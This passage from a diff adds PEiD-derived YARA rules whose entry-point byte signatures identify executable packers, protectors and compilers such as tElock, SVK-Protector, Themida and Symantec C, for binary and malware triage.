+        $a = {60 E8 00 00 00 00 5D 81 ED 06 00 00 00 EB 05 B8 ?? ?? 42 00 64 A0 23 00 00 00 EB 03 C7 84 E8 84 C0 EB 03 C7 84 E9 75 67 B9 49 00 00 00 8D B5 C5 02 00 00 56 80 06 44 46 E2 FA 8B 8D C1 02 00 00 5E 55 51 6A 00 56 FF 95 0C 61 00 00 59 5D 40 85 C0 75 3C 80 3E 00 74 03 46 EB F8 46 E2 E3 8B C5 8B 4C 24 20 2B 85 BD 02 00 00 89 85 B9 02 00 00 80 BD B4 02 00 00 01 75 06 8B 8D 0C 61 00 00 89 8D B5 02 00 00 8D 85 0E 03 00 00 8B DD FF E0 55 68 10 10 00 00 8D 85 B4 00 00 00 50 8D 85 B4 01 00 00 50 6A 00 FF 95 18 61 00 00 5D 6A FF FF 95 10 61 00 00 44 65 62 75 67 67 65 72 20 6F 72 20 74 6F 6F 6C 20 66 6F 72 20 6D 6F 6E 69 74 6F 72 69 6E 67 20 64 65 74 65 63 74 65 64 21 21 21 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+    condition:
+        $a at pe.entry_point
+}
+rule PEiD_02171_SVK_Protector_v1_051_
+{
+    meta:
+        description = "[SVK-Protector v1.051]"
+        ep_only = "true"
+    strings:
+        $a = {60 EB 03 C7 84 E8 EB 03 C7 84 9A E8 00 00 00 00 5D 81 ED 10 00 00 00 EB 03 C7 84 E9 64 A0 23 00 00 00 EB}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02172_SVK_Protector_v1_11_
+{
+    meta:
+        description = "[SVK-Protector v1.11]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 ?? ?? ?? ?? 5D 81 ED 06 ?? ?? ?? 64 A0 23}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02173_SVK_Protector_v1_32_
+{
+    meta:
+        description = "[SVK-Protector v1.32]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 5D 81 ED 06 00 00 00 EB 05 B8 06 36 42 00 64 A0 23}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02174_SVKP_v1_32____Pavol_Cerven__h__
+{
+    meta:
+        description = "[SVKP v1.32 -> Pavol Cerven (h)]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 5D 81 ED 06 00 00 00 EB 05 B8 06 36 42 00 64 A0 23 00 00 00 EB 03 C7 84 E8 84 C0 EB 03 C7 84 E9 75 67 B9 49 00 00 00 8D B5 C5 02 00 00 56 80 06 44 46 E2 FA 8B 8D C1 02 00 00 5E 55 51 6A 00 56 FF 95 0C 61 00 00 59 5D 40 85 C0 75 3C 80 3E 00 74 03 46 EB F8 46 E2 E3 8B C5 8B 4C 24 20 2B 85 BD 02 00 00 89 85 B9 02 00 00 80 BD B4 02 00 00 01 75 06 8B 8D 0C 61 00 00 89 8D B5 02 00 00 8D 85 0E 03 00 00 8B DD FF E0 55 68 10 10 00 00 8D 85 B4 00 00 00 50 8D 85 B4 01 00 00 50 6A 00 FF 95 18 61 00 00 5D 6A FF FF 95 10 61}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02175_SVKP_v1_42____Pavol_Cerven__h__
+{
+    meta:
+        description = "[SVKP v1.42 -> Pavol Cerven (h)]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 5D 81 ED 06 00 00 00 EB 05 B8 49 DC EC 00 64 A0 23 00 00 00 EB 03 C7 84 E8 84 C0 EB 03 C7 84 E9 75 67 B9 49 00 00 00 8D B5 C5 02 00 00 56 80 06 44 46 E2 FA 8B 8D C1 02 00 00 5E 55 51 6A 00 56 FF 95 2D 67 00 00 59 5D 40 85 C0 75 3C 80 3E 00 74 03 46 EB F8 46 E2 E3 8B C5 8B 4C 24 20 2B 85 BD 02 00 00 89 85 B9 02 00 00 80 BD B4 02 00 00 01 75 06 8B 8D 2D 67 00 00 89 8D B5 02 00 00 8D 85 0E 03 00 00 8B DD FF E0 55 68 10 10 00 00 8D 85 B4 00 00 00 50 8D 85 B4 01 00 00 50 6A 00 FF 95 39 67 00 00 5D 6A FF FF 95 31 67}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02176_SVKP_v1_43____Pavol_Cerven__h__
+{
+    meta:
+        description = "[SVKP v1.43 -> Pavol Cerven (h)]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 5D 81 ED 06 00 00 00 EB 05 B8 49 DC CE 05 64 A0 23 00 00 00 EB 03 C7 84 E8 84 C0 EB 03 C7 84 E9 75 67 B9 49 00 00 00 8D B5 C5 02 00 00 56 80 06 44 46 E2 FA 8B 8D C1 02 00 00 5E 55 51 6A 00 56 FF 95 2D 67 00 00 59 5D 40 85 C0 75 3C 80 3E 00 74 03 46 EB F8 46 E2 E3 8B C5 8B 4C 24 20 2B 85 BD 02 00 00 89 85 B9 02 00 00 80 BD B4 02 00 00 01 75 06 8B 8D 2D 67 00 00 89 8D B5 02 00 00 8D 85 0E 03 00 00 8B DD FF E0 55 68 10 10 00 00 8D 85 B4 00 00 00 50 8D 85 B4 01 00 00 50 6A 00 FF 95 39 67 00 00 5D 6A FF FF 95 31 67}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02177_Symantec_C_v2_10__v4_00_or_Zortech_C_v3_0r1_
+{
+    meta:
+        description = "[Symantec C v2.10, v4.00 or Zortech C v3.0r1]"
+        ep_only = "true"
+    strings:
+        $a = {FA FC B8 ?? ?? 8E D8}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02178_Symantec_C_v4_00___Libraries_
+{
+    meta:
+        description = "[Symantec C v4.00 + Libraries]"
+        ep_only = "true"
+    strings:
+        $a = {FA B8 ?? ?? DB E3 8E D8 8C 06 ?? ?? 8B D8 2B 1E ?? ?? 89 1E ?? ?? 26}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02179_Symantec_Visual_Cafe_v3_0_
+{
+    meta:
+        description = "[Symantec Visual Cafe v3.0]"
+        ep_only = "true"
+    strings:
+        $a = {64 8B 05 ?? ?? ?? ?? 55 8B EC 6A FF 68 ?? ?? 40 ?? 68 ?? ?? 40 ?? 50 64 89 25 ?? ?? ?? ?? 83 EC 08 50 53 56 57 89 65 E8 C7 45 FC}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02180_Symantec_WinFax_PRO_7_5_Coverpage_
+{
+    meta:
+        description = "[Symantec WinFax PRO 7.5 Coverpage]"
+        ep_only = "false"
+    strings:
+        $a = {0C BD 03 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? C0 06 80}
+    condition:
+        $a
+}
+
+rule PEiD_02181_Symantec_WinFax_PRO_8_3_Coverpage_Quick_CoverPage_
+{
+    meta:
+        description = "[Symantec WinFax PRO 8.3 Coverpage Quick CoverPage]"
+        ep_only = "false"
+    strings:
+        $a = {FF FF ?? ?? ?? ?? ?? 43 6F 76 65 72 44 61 74 61 62 61 73 65}
+    condition:
+        $a
+}
+
+rule PEiD_02182_Symantec_WinFax_PRO_8_3_Coverpage_
+{
+    meta:
+        description = "[Symantec WinFax PRO 8.3 Coverpage]"
+        ep_only = "false"
+    strings:
+        $a = {0C BD 03 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? C0 06 6C}
+    condition:
+        $a
+}
+rule PEiD_02183_T_PACK_v0_5c__m1_
+{
+    meta:
+        description = "[T-PACK v0.5c -m1]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? FD 60 BE ?? ?? BF ?? ?? B9 ?? ?? F3 A4 8B F7 BF ?? ?? FC 46 E9 8E FE}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02184_T_PACK_v0_5c__m2_
+{
+    meta:
+        description = "[T-PACK v0.5c -m2]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? FD 60 BE ?? ?? BF ?? ?? B9 ?? ?? F3 A4 8B F7 BF ?? ?? FC 46 E9 CE FD}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02185_TASM___MASM_
+{
+    meta:
+        description = "[TASM / MASM]"
+        ep_only = "true"
+    strings:
+        $a = {6A 00 E8 ?? ?? 00 00 A3 ?? ?? 40 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02186_tElock_0_51____tE__
+{
+    meta:
+        description = "[tElock 0.51 -> tE!]"
+        ep_only = "true"
+    strings:
+        $a = {C1 EE 00 66 8B C9 EB 01 EB 60 EB 01 EB 9C E8 00 00 00 00 5E 83 C6 5E 8B FE 68 79 01 00 00 59 EB 01 EB AC 54 E8 03 00 00 00 5C EB 08 8D 64 24 04 FF 64 24 FC 6A 05 D0 2C 24 72 01 E8 01 24 24 5C F7 DC EB 02 CD 20 8D 64 24 FE F7 DC EB 02 CD 20 FE C8 E8 00 00 00 00 32 C1 EB 02 82 0D AA EB 03 82 0D 58 EB 02 1D 7A 49 EB 05 E8 01 00 00 00 7F AE 14 7E A0 77 76 75 74}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02187_tElock_0_96____tE__
+{
+    meta:
+        description = "[tElock 0.96 -> tE!]"
+        ep_only = "true"
+    strings:
+        $a = {E9 59 E4 FF FF 00 00 00 00 00 00 00 ?? ?? ?? ?? EE ?? ?? 00 00 00 00 00 00 00 00 00 0E ?? ?? 00 FE ?? ?? 00 F6 ?? ?? 00 00 00 00 00 00 00 00 00 1B ?? ?? 00 06 ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 26 ?? ?? 00 00 00 00 00 39 ?? ?? 00 00 00 00 00 26 ?? ?? 00 00 00 00 00 39 ?? ?? 00 00 00 00 00 6B 65 72 6E 65 6C 33 32 2E 64 6C 6C}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02188_tElock_0_98____tE__
+{
+    meta:
+        description = "[tElock 0.98 -> tE!]"
+        ep_only = "true"
+    strings:
+        $a = {E9 25 E4 FF FF 00 00 00 ?? ?? ?? ?? 1E ?? ?? 00 00 00 00 00 00 00 00 00 3E ?? ?? 00 2E ?? ?? 00 26 ?? ?? 00 00 00 00 00 00 00 00 00 4B ?? ?? 00 36 ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 56 ?? ?? 00 00 00 00 00 69 ?? ?? 00 00 00 00 00 56 ?? ?? 00 00 00 00 00 69 ?? ?? 00 00 00 00 00 6B 65 72 6E 65 6C 33 32 2E 64 6C 6C 00 75 73 65}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02189_tElock_0_98____tHE_EGOiSTE__h__
+{
+    meta:
+        description = "[tElock 0.98 -> tHE EGOiSTE (h)]"
+        ep_only = "false"
+    strings:
+        $a = {E9 25 E4 FF FF 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? 00 00 00 00 ?? ?? ?? ?? 00}
+    condition:
+        $a
+}
+
+rule PEiD_02190_tElock_0_98_Special_Build____forgot___heXer_
+{
+    meta:
+        description = "[tElock 0.98 Special Build -> forgot & heXer]"
+        ep_only = "true"
+    strings:
+        $a = {E9 99 D7 FF FF 00 00 00 ?? ?? ?? ?? AA ?? ?? 00 00 00 00 00 00 00 00 00 CA}
+    condition:
+        $a at pe.entry_point
+}
+
+/*
+rule PEiD_02191_tElock_0_99___1_0_private____tE__
+{
+    meta:
+        description = "[tElock 0.99 - 1.0 private -> tE!]"
+        ep_only = "true"
+    strings:
+        $a = {E9 ?? ?? FF FF 00 00 00 ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00}
+    condition:
+        $a at pe.entry_point
+}
+*/
+
+rule PEiD_02192_tElock_0_99____tE__
+{
+    meta:
+        description = "[tElock 0.99 -> tE!]"
+        ep_only = "true"
+    strings:
+        $a = {E9 5E DF FF FF 00 00 00 ?? ?? ?? ?? E5 ?? ?? 00 00 00 00 00 00 00 00 00 05}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02193_tElock_0_99_Special_Build____heXer___forgot_
+{
+    meta:
+        description = "[tElock 0.99 Special Build -> heXer & forgot]"
+        ep_only = "false"
+    strings:
+        $a = {E9 5E DF FF FF 00 00 00 ?? ?? ?? ?? E5 ?? ?? 00 00 00 00 00 00 00 00 00 05 ?? ?? 00 F5 ?? ?? 00 ED ?? ?? 00 00 00 00 00 00 00 00 00 12 ?? ?? 00 FD ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1D ?? ?? 00 00 00 00 00 30 ?? ?? 00 00}
+    condition:
+        $a
+}
+
+/*
+rule PEiD_02194_tElock_0_99_
+{
+    meta:
+        description = "[tElock 0.99]"
+        ep_only = "false"
+    strings:
+        $a = {E9 ?? ?? FF FF 00 00 00 ?? ?? ?? ?? ?? ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? ?? 02 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? 00 00 00 00 00 ?? ?? 02 00 00}
+    condition:
+        $a
+}
+*/
+rule PEiD_02195_tElock_0_99c__Private_ECLIPSE_____tE__
+{
+    meta:
+        description = "[tElock 0.99c (Private ECLIPSE) -> tE!]"
+        ep_only = "true"
+    strings:
+        $a = {E9 3F DF FF FF 00 00 00 ?? ?? ?? ?? 04 ?? ?? 00 00 00 00 00 00 00 00 00 24 ?? ?? 00 14 ?? ?? 00 0C ?? ?? 00 00 00 00 00 00 00 00 00 31 ?? ?? 00 1C ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 3C ?? ?? 00 00 00 00 00 4F ?? ?? 00 00 00 00 00 3C ?? ?? 00 00 00 00 00 4F ?? ?? 00 00 00 00 00 6B 65 72 6E 65 6C 33 32 2E 64 6C 6C 00 75 73 65}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02196_tElock_v0_41x_
+{
+    meta:
+        description = "[tElock v0.41x]"
+        ep_only = "true"
+    strings:
+        $a = {66 8B C0 8D 24 24 EB 01 EB 60 EB 01 EB 9C E8 00 00 00 00 5E 83 C6 50 8B FE 68 78 01 ?? ?? 59 EB 01 EB AC 54 E8 03 ?? ?? ?? 5C EB 08}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02197_tElock_v0_42_
+{
+    meta:
+        description = "[tElock v0.42]"
+        ep_only = "true"
+    strings:
+        $a = {C1 EE 00 66 8B C9 EB 01 EB 60 EB 01 EB 9C E8 00 00 00 00 5E 83 C6 52 8B FE 68 79 01 59 EB 01 EB AC 54 E8 03 5C EB 08}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02198_tElock_v0_4x___v0_5x_
+{
+    meta:
+        description = "[tElock v0.4x - v0.5x]"
+        ep_only = "true"
+    strings:
+        $a = {C1 EE 00 66 8B C9 EB 01 EB 60 EB 01 EB 9C E8 00 00 00 00 5E 83 C6 ?? 8B FE 68 79 01 ?? ?? 59 EB 01}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02199_tElock_v0_51_
+{
+    meta:
+        description = "[tElock v0.51]"
+        ep_only = "true"
+    strings:
+        $a = {C1 EE 00 66 8B C9 EB 01 EB 60 EB 01 EB 9C E8 00 00 00 00 5E 83 C6 5E 8B FE 68 79 01 59 EB 01 EB AC 54 E8 03 5C EB 08}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02200_tElock_v0_60_
+{
+    meta:
+        description = "[tElock v0.60]"
+        ep_only = "true"
+    strings:
+        $a = {E9 00 00 00 00 60 E8 00 00 00 00 58 83 C0 08}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02201_tElock_v0_70_
+{
+    meta:
+        description = "[tElock v0.70]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 BD 10 00 00 C3 83 E2 00 F9 75 FA 70}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02202_tElock_v0_71_
+{
+    meta:
+        description = "[tElock v0.71]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 ED 10 00 00 C3 83}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02203_tElock_v0_71b2_
+{
+    meta:
+        description = "[tElock v0.71b2]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 44 11 00 00 C3 83}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02204_tElock_v0_71b7_
+{
+    meta:
+        description = "[tElock v0.71b7]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 48 11 00 00 C3 83}
+    condition:
+        $a at pe.entry_point
+}
+rule PEiD_02205_tElock_v0_7x___v0_84_
+{
+    meta:
+        description = "[tElock v0.7x - v0.84]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 C3 83}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02206_tElock_v0_80_
+{
+    meta:
+        description = "[tElock v0.80]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 F9 11 00 00 C3 83}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02207_tElock_v0_85f_
+{
+    meta:
+        description = "[tElock v0.85f]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 02 00 00 00 CD 20 E8 00 00 00 00 5E 2B C9 58 74 02}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02208_tElock_v0_90_
+{
+    meta:
+        description = "[tElock v0.90]"
+        ep_only = "true"
+    strings:
+        $a = {?? ?? E8 02 00 00 00 E8 00 E8 00 00 00 00 5E 2B}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02209_tElock_v0_92a_
+{
+    meta:
+        description = "[tElock v0.92a]"
+        ep_only = "true"
+    strings:
+        $a = {E9 7E E9 FF FF 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02210_tElock_v0_95_
+{
+    meta:
+        description = "[tElock v0.95]"
+        ep_only = "true"
+    strings:
+        $a = {E9 D5 E4 FF FF 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02211_tElock_v0_96_
+{
+    meta:
+        description = "[tElock v0.96]"
+        ep_only = "true"
+    strings:
+        $a = {E9 59 E4 FF FF 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02212_tElock_v0_98____tHE_EGOiSTE__h__
+{
+    meta:
+        description = "[tElock v0.98 -> tHE EGOiSTE (h)]"
+        ep_only = "true"
+    strings:
+        $a = {E9 25 E4 FF FF 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? 00 00 00 00 ?? ?? ?? ?? 00 00 00 00 ?? ?? ?? ?? 00 00 00 00 ?? ?? ?? ?? 00 00 00 00 6B 65 72 6E 65 6C 33 32 2E 64 6C 6C 00 75 73 65 72 33 32 2E 64 6C 6C 00 00 00 47 65 74 4D 6F 64 75 6C 65 48 61 6E 64 6C 65 41 00 00 00 4D 65 73 73 61 67 65 42 6F 78 41 00 00 00 00 00 00 00 00 00 00 00 00 08 00 00 00}
+    condition:
+        $a at pe.entry_point
+}
+rule PEiD_02213_tElock_v0_98_
+{
+    meta:
+        description = "[tElock v0.98]"
+        ep_only = "true"
+    strings:
+        $a = {E9 25 E4 FF FF 00 00 00 ?? ?? ?? ?? 1E}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02214_tElock_v0_98b1_
+{
+    meta:
+        description = "[tElock v0.98b1]"
+        ep_only = "true"
+    strings:
+        $a = {E9 25 E4 FF FF}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02215_tElock_v0_98b2_
+{
+    meta:
+        description = "[tElock v0.98b2]"
+        ep_only = "true"
+    strings:
+        $a = {E9 1B E4 FF FF}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02216_tElock_v0_99_Special_Build____heXer___forgot_
+{
+    meta:
+        description = "[tElock v0.99 Special Build -> heXer & forgot]"
+        ep_only = "true"
+    strings:
+        $a = {E9 5E DF FF FF 00 00 00 ?? ?? ?? ?? E5 ?? ?? 00 00 00 00 00 00 00 00 00 05 ?? ?? 00 F5 ?? ?? 00 ED ?? ?? 00 00 00 00 00 00 00 00 00 12 ?? ?? 00 FD ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1D ?? ?? 00 00 00 00 00 30 ?? ?? 00 00 00 00 00 1D ?? ?? 00 00 00 00 00 30 ?? ?? 00 00 00 00 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02217_tElock_v1_00_
+{
+    meta:
+        description = "[tElock v1.00]"
+        ep_only = "true"
+    strings:
+        $a = {E9 E5 E2 FF FF}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02218_The_aPE_Inline_Patch_Basic__Advanced__Stealth__
+{
+    meta:
+        description = "[The aPE Inline Patch Basic, Advanced, Stealth)]"
+        ep_only = "true"
+    strings:
+        $a = {B9 ?? ?? ?? 00 E8 ?? ?? 00 00 89 01 68}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02219_The_aPE_Inline_Patch_ExtraStealth__SuperStealth__
+{
+    meta:
+        description = "[The aPE Inline Patch ExtraStealth, SuperStealth)]"
+        ep_only = "true"
+    strings:
+        $a = {E8 02 ?? ?? ?? EB 01 C3 3E 8B 44 24 FC 50 B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02220_The_Guard_Library_
+{
+    meta:
+        description = "[The Guard Library]"
+        ep_only = "true"
+    strings:
+        $a = {50 E8 ?? ?? ?? ?? 58 25 ?? F0 FF FF 8B C8 83 C1 60 51 83 C0 40 83 EA 06 52 FF 20 9D C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02221_The_Norton_Antivirus_Information_file_
+{
+    meta:
+        description = "[The Norton Antivirus Information file]"
+        ep_only = "false"
+    strings:
+        $a = {54 68 65 20 4E 6F 72 74 6F 6E 20 41 6E 74 69 56 69 72 75 73 20 49 6E 66 6F 72 6D 61 74 69 6F 6E 20 46 69 6C 65}
+    condition:
+        $a
+}
+
+rule PEiD_02222_TheHyper_s_protector____TheHyper__h__
+{
+    meta:
+        description = "[TheHyper's protector -> TheHyper (h)]"
+        ep_only = "false"
+    strings:
+        $a = {55 8B EC 83 EC 14 8B FC E8 14 00 00 00 ?? ?? 01 01 ?? ?? 01 01 ?? ?? ?? 00 ?? ?? 01 01 ?? ?? 02 01 5E E8 0D 00 00 00 6B 65 72 6E 65 6C 33 32 2E 64 6C 6C 00 8B 46 04 FF 10 8B D8 E8 0D 00 00 00 56 69 72 74 75 61 6C 41 6C 6C 6F 63 00 53 8B 06 FF 10 89 07 E8}
+    condition:
+        $a
+}
+
+rule PEiD_02223_TheHyper_s_protector____TheHyper__h__
+{
+    meta:
+        description = "[TheHyper's protector -> TheHyper (h)]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 EC 14 8B FC E8 14 00 00 00 ?? ?? 01 01 ?? ?? 01 01 ?? ?? ?? 00 ?? ?? 01 01 ?? ?? 02 01 5E E8 0D 00 00 00 6B 65 72 6E 65 6C 33 32 2E 64 6C 6C 00 8B 46 04 FF 10 8B D8 E8 0D 00 00 00 56 69 72 74 75 61 6C 41 6C 6C 6F 63 00 53 8B 06 FF 10 89 07 E8 0C 00 00 00 56 69 72 74 75 61 6C 46 72 65 65 00 53 8B 06 FF 10 89 47 04 E8 0F 00 00 00 47 65 74 50 72 6F 63 65 73 73 48 65 61 70 00 53 8B 06 FF 10 89 47 08 E8 0A 00 00 00 48 65 61 70 41 6C 6C 6F 63 00 53 8B 06 FF 10 89 47 0C E8 09 00 00 00 48 65 61 70 46 72 65 65 00 53 8B 06 FF 10 89 47 10 57 FF 76 08 FF 76 0C FF 56 10 8B E5 5D}
+    condition:
+        $a at pe.entry_point
+}
+rule PEiD_02224_TheHyper_s_protector____TheHyper__h__
+{
+    meta:
+        description = "[TheHyper's protector -> TheHyper (h)]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 EC 14 8B FC E8 14 00 00 00 ?? ?? 01 01 ?? ?? 01 01 ?? ?? ?? 00 ?? ?? 01 01 ?? ?? ?? 01 5E E8 0D 00 00 00 6B 65 72 6E 65 6C 33 32 2E 64 6C 6C 00 8B 46 04 FF 10 8B D8 E8 0D 00 00 00 56 69 72 74 75 61 6C 41 6C 6C 6F 63 00 53 8B 06 FF 10 89 07 E8 0C 00 00 00 56 69 72 74 75 61 6C 46 72 65 65 00 53 8B 06 FF 10 89 47 04 E8 0F 00 00 00 47 65 74 50 72 6F 63 65 73 73 48 65 61 70 00 53 8B 06 FF 10 89 47 08 E8 0A 00 00 00 48 65 61 70 41 6C 6C 6F 63 00 53 8B 06 FF 10 89 47 0C E8 09 00 00 00 48 65 61 70 46 72 65 65 00 53 8B 06 FF 10 89 47 10 57 FF 76 08 FF 76 0C FF 56 10 8B E5 5D}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02225_Themida____Oreans_Technologies_2004_
+{
+    meta:
+        description = "[Themida -> Oreans Technologies 2004]"
+        ep_only = "true"
+    strings:
+        $a = {B8 00 00 00 00 60 0B C0 74 58 E8 00 00 00 00 58 05 43 00 00 00 80 38 E9 75 03 61 EB 35 E8}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02226_themida_1_0_0_5____http___www_oreans_com_
+{
+    meta:
+        description = "[themida 1.0.0.5 -> http?//www.oreans.com]"
+        ep_only = "true"
+    strings:
+        $a = {B8 00 00 00 00 60 0B C0 74 58 E8 00 00 00 00 58 05 43 00 00 00 80 38 E9 75 03 61 EB 35 E8 00 00 00 00 58 25 00 F0 FF FF 33 FF 66 BB 19 5A 66 83 C3 34 66 39 18 75 12 0F B7 50 3C 03 D0 BB E9 44}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02227_Themida_1_0_x_x___1_8_0_0__compressed_engine_____Oreans_Technologies_
+{
+    meta:
+        description = "[Themida 1.0.x.x - 1.8.0.0 (compressed engine) -> Oreans Technologies]"
+        ep_only = "true"
+    strings:
+        $a = {B8 ?? ?? ?? ?? 60 0B C0 74 58 E8 00 00 00 00 58 05 43 00 00 00 80 38 E9 75 03 61 EB 35 E8 00 00 00 00 58 25 00 F0 FF FF 33 FF 66 BB 19 5A 66 83 C3 34 66 39 18 75 12 0F B7 50 3C 03 D0 BB E9 44 00 00 83 C3 67 39 1A 74 07 2D 00 10 00 00 EB DA 8B F8 B8}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02228_Themida_1_0_x_x___1_8_0_0__compressed_engine_____Oreans_Technologies_
+{
+    meta:
+        description = "[Themida 1.0.x.x - 1.8.0.0 (compressed engine) -> Oreans Technologies]"
+        ep_only = "true"
+    strings:
+        $a = {B8 ?? ?? ?? ?? 60 0B C0 74 58 E8 00 00 00 00 58 05 43 00 00 00 80 38 E9 75 03 61 EB 35 E8 00 00 00 00 58 25 00 F0 FF FF 33 FF 66 BB 19 5A 66 83 C3 34 66 39 18 75 12 0F B7 50 3C 03 D0 BB E9 44 00 00 83 C3 67 39 1A 74 07 2D 00 10 00 00 EB DA 8B F8 B8 ?? ?? ?? ?? 03 C7 B9 5A ?? ?? ?? 03 CF EB 0A B8 ?? ?? ?? ?? B9 5A ?? ?? ?? 50 51 E8 84 00 00 00 E8 00 00 00 00 58 2D 26 00 00 00 B9 EF 01 00 00 C6 00 E9 83 E9 05 89 48 01 61 E9 AF 01}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02229_Themida_1_0_x_x___1_8_x_x__no_compression_____Oreans_Technologies__h__
+{
+    meta:
+        description = "[Themida 1.0.x.x - 1.8.x.x (no compression) -> Oreans Technologies (h)]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 C4 D8 60 E8 00 00 00 00 5A 81 EA ?? ?? ?? ?? 8B DA C7 45 D8 00 00 00 00 8B 45 D8 40 89 45 D8 81 7D D8 80 00 00 00 74 0F 8B 45 08 89 83 ?? ?? ?? ?? FF 45 08 43 EB E1 89 45 DC 61 8B 45 DC C9 C2 04 00 55 8B EC 81 C4 7C FF FF FF 60 E8 00 00 00 00}
+    condition:
+        $a at pe.entry_point
+}
+rule PEiD_02230_Themida_1_0_x_x___1_8_x_x__no_compression_____Oreans_Technologies__h__
+{
+    meta:
+        description = "[Themida 1.0.x.x - 1.8.x.x (no compression) -> Oreans Technologies (h)]"
+        ep_only = "false"
+    strings:
